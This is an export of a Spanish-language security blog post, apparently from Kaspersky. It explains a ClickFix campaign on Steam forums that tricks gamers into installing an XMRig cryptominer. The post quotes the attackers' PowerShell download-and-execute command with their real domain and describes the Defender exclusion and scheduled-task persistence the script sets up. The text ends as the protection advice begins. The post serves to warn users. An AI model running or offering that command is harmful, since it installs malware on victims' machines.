{"id":29435,"date":"2026-08-25T12:07:16","date_gmt":"2026-08-25T18:07:16","guid":{"rendered":"https:\/\/latam.kaspersky.com\/blog\/?p=29435"},"modified":"2026-08-25T12:07:16","modified_gmt":"2026-08-25T18:07:16","slug":"steam-forum-clickfix-attack-irm-iex","status":"publish","type":"post","link":"https:\/\/latam.kaspersky.com\/blog\/steam-forum-clickfix-attack-irm-iex\/29435\/","title":{"rendered":"Malos consejos para los jugadores: ClickFix llega a los foros de Steam"},"content":{"rendered":"

Este a\u00f1o fue testigo de un verdadero auge de los ataques de ClickFix<\/a>. Tiene tanto \u00e9xito entre los delincuentes que apenas terminamos de escribir sobre una variaci\u00f3n cuando ya es hora de cubrir la siguiente.<\/p>\n

Esta vez, los atacantes tienen como objetivo a los jugadores: los periodistas tecnol\u00f3gicos detectaron publicaciones que ofrec\u00edan consejos maliciosos<\/a> en los foros de Steam. Aqu\u00ed detallamos c\u00f3mo se ven estas publicaciones, qu\u00e9 malware suelen propagar y c\u00f3mo mantener tu dispositivo a salvo.<\/p>\n

ClickFix llega a los foros de Steam<\/h2>\n

Muchos jugadores recurren a sus compa\u00f1eros de juego en los foros de Steam para obtener ayuda y consejos sobre cuestiones como completar una misi\u00f3n dif\u00edcil, subir de nivel, obtener el mejor bot\u00edn o solucionar un error. Es precisamente esta confianza en los consejos de la comunidad lo que los atacantes decidieron aprovechar.<\/p>\n

El ataque comienza cuando los delincuentes responden a la pregunta de alguien sobre errores de juego, elementos del inventario que faltan u otros problemas t\u00e9cnicos. Haci\u00e9ndose pasar por comentaristas \u00fatiles, sugieren abrir PowerShell como administrador y ejecutar un comando que supuestamente soluciona el problema que est\u00e1 teniendo el usuario.<\/p>\n

\"La<\/a>

Disfrazando su publicaci\u00f3n como consejos para solucionar problemas, el actor malicioso sugiere ejecutar PowerShell como administrador y ejecutar un comando que supuestamente soluciona el problema del usuario. Fuente <\/a><\/p><\/div>\n

Como puedes suponer, ejecutar el comando no soluciona nada, solo abre una nueva caja de Pandora. Esa es la idea detr\u00e1s de ClickFix: usar la ingenier\u00eda social con el objetivo de enga\u00f1ar a las v\u00edctimas para que realicen acciones inseguras por s\u00ed mismas mientras les da a los estafadores lo que necesitan para poner en riesgo el dispositivo. Cubrimos otros trucos de ClickFix antes (CAPTCHA falsos, errores de navegador falsos y m\u00e1s) que se basan en hacer que la v\u00edctima ejecute el comando malicioso por su cuenta. Puedes leer m\u00e1s sobre las diferentes variaciones de los ataques de ClickFix<\/a> en nuestra publicaci\u00f3n anterior.<\/p>\n

La astucia de usar ClickFix en los foros de Steam es que el ataque puede afectar no solo al jugador que solicit\u00f3 ayuda; muchos otros jugadores que tienen el mismo problema y encuentran la respuesta a trav\u00e9s de una b\u00fasqueda en Google tambi\u00e9n pueden caer en la trampa.<\/p>\n

Una introducci\u00f3n r\u00e1pida: lo que realmente hay detr\u00e1s del comando irm <\/em>| iex<\/em><\/h2>\n

Antes de adentrarnos en qu\u00e9 consiguen los atacantes que los jugadores instalen de esta manera, debemos cubrir algunos antecedentes t\u00e9cnicos. En primer lugar, las publicaciones en los foros de Steam aconsejan a las posibles v\u00edctimas desprevenidas que ejecuten el siguiente comando en PowerShell:<\/p>\n

irm msfconfig.icu | iex <\/code><\/p>\n

Para alguien que no est\u00e9 \u00edntimamente familiarizado con PowerShell, esta l\u00ednea puede parecer bastante inocua: se parece a iniciar MSConfig, la utilidad de configuraci\u00f3n del sistema integrada de Windows, con algunos par\u00e1metros adicionales.<\/p>\n

Sin embargo, es todo menos inofensivo. Analicemos qu\u00e9 hace realmente cada parte de este comando:<\/p>\n

    \n
  1. irm<\/em><\/strong> es la abreviatura del comando integrado de PowerShell Invoke-RestMethod<\/em>. Se comunica con la direcci\u00f3n web especificada m\u00e1s adelante en la l\u00ednea y recupera datos en respuesta.<\/li>\n
  2. icu<\/em><\/strong> es esa direcci\u00f3n web, no el nombre de un archivo local como podr\u00eda parecer a primera vista. Este es el servidor de los atacantes, que responde a la solicitud de irm<\/em><\/strong> con un script de PowerShell malicioso.<\/li>\n
  3. iex<\/em><\/strong> es otro comando integrado de PowerShell, Invoke-Expression<\/em>. Toma lo que irm<\/em><\/strong> recibe de esa direcci\u00f3n web y lo ejecuta como c\u00f3digo de PowerShell.<\/li>\n<\/ol>\n

    Una vez que se ejecuta, esta l\u00ednea de c\u00f3digo de PowerShell descarga un script del sitio especificado y lo ejecuta inmediatamente. Como se\u00f1al\u00f3<\/a> acertadamente un usuario de Reddit, puedes averiguar con seguridad qu\u00e9 c\u00f3digo se descargar\u00e1 realmente en tu dispositivo, sin el riesgo de que se ejecute, simplemente si eliminas la segunda parte, iex<\/em><\/strong>. Sin esa parte, el comando solo descargar\u00e1 el contenido del script y lo imprimir\u00e1 en la ventana de PowerShell sin ejecutarlo. Esto forma el c\u00f3digo completo y no oculto que se te pide que ejecutes en tu dispositivo. A continuaci\u00f3n, veamos lo que estos \u00fatiles foristas de Steam realmente intentan que los jugadores instalen en sus m\u00e1quinas.<\/p>\n

    Un criptominero, no una herramienta de optimizaci\u00f3n<\/h2>\n

    Los atacantes hicieron su tarea: el script de PowerShell descargado de su servidor hace un trabajo convincente al imitar una utilidad de optimizaci\u00f3n de Windows. Una vez iniciado, le muestra al usuario una serie de notificaciones que afirman borrar archivos temporales, vaciar la cach\u00e9 de DNS, actualizar controladores, verificar si hay errores en el disco, deshabilitar aplicaciones de inicio innecesarias, analizar el sistema en busca de malware, reparar la imagen de Windows y verificar la integridad del archivo del sistema.<\/p>\n

    \"Optimizaci\u00f3n<\/a>

    El script muestra una secuencia de mensajes acerca de varias tareas de optimizaci\u00f3n falsas para que parezca que est\u00e1 realizando un mantenimiento \u00fatil. Fuente <\/a><\/p><\/div>\n

    Mientras tanto, la verdadera actividad ocurre detr\u00e1s de escena. El script empieza comprobando si se est\u00e1 ejecutando con privilegios de administrador. Si es as\u00ed, crea una carpeta de trabajo oculta en C:\\Windows\\Background<\/em> y la agrega a la lista de exclusi\u00f3n de Microsoft\u00a0Defender. A partir de ese momento, el antivirus integrado de Windows deja de analizar los archivos colocados en esa carpeta.<\/p>\n

    A continuaci\u00f3n, el script prepara el sistema para la siguiente etapa del ataque, descarga un archivo ejecutable del servidor de los atacantes y lo guarda en esa misma carpeta C:\\Windows\\Background<\/em> con un nombre que suena leg\u00edtimo: system.exe<\/em>.<\/p>\n

    El archivo descargado es XMRig<\/em>, una de las herramientas m\u00e1s populares para extraer la criptomoneda Monero. XMRig<\/em> en s\u00ed no es malware; es una herramienta de miner\u00eda de c\u00f3digo abierto leg\u00edtima. El problema es que los atacantes lo instalan en los equipos de las v\u00edctimas sin su conocimiento. Una vez que se est\u00e1 ejecutando, la potencia de c\u00f3mputo del dispositivo es secuestrada para la miner\u00eda de Monero, y la criptomoneda resultante va directamente a los delincuentes.<\/p>\n

    Esto hace que las plataformas de los jugadores sean objetivos especialmente atractivos: las PC modernas para juegos contienen CPU y GPU potentes, exactamente el tipo de hardware que es ideal para la criptominer\u00eda.<\/p>\n

    Para asegurarse de que el malware sobreviva al reinicio, el script tambi\u00e9n crea una nueva tarea en el Programador de tareas de Windows: XMRig-{nombre del equipo}<\/em>. A partir de ese momento, inicia autom\u00e1ticamente el criptominero cada vez que se inicia el sistema.<\/p>\n

    C\u00f3mo proteger tu dispositivo de los criptomineros y otros tipos de malware<\/h2>\n

    Desafortunadamente, muchos jugadores son reacios a instalar software de seguridad o mantenerlo funcionando en sus dispositivos. El principal culpable es el persistente mito de que \u201cun antivirus ralentiza el juego\u201d. Cubrimos investigaciones sobre esto en nuestro blog anteriormente y los resultados no mostraron un impacto considerable en el rendimiento<\/a> por ejecutar un antivirus mientras se juega.<\/p>\n

    Sin embargo, no se puede decir lo mismo de los criptomineros: definitivamente perjudican el rendimiento y desgastan tu hardware m\u00e1s r\u00e1pido. Entonces, \u00bfqu\u00e9 puedes hacer para mantener tus cuentas y tu PC para juegos fuera de peligro?<\/p>\n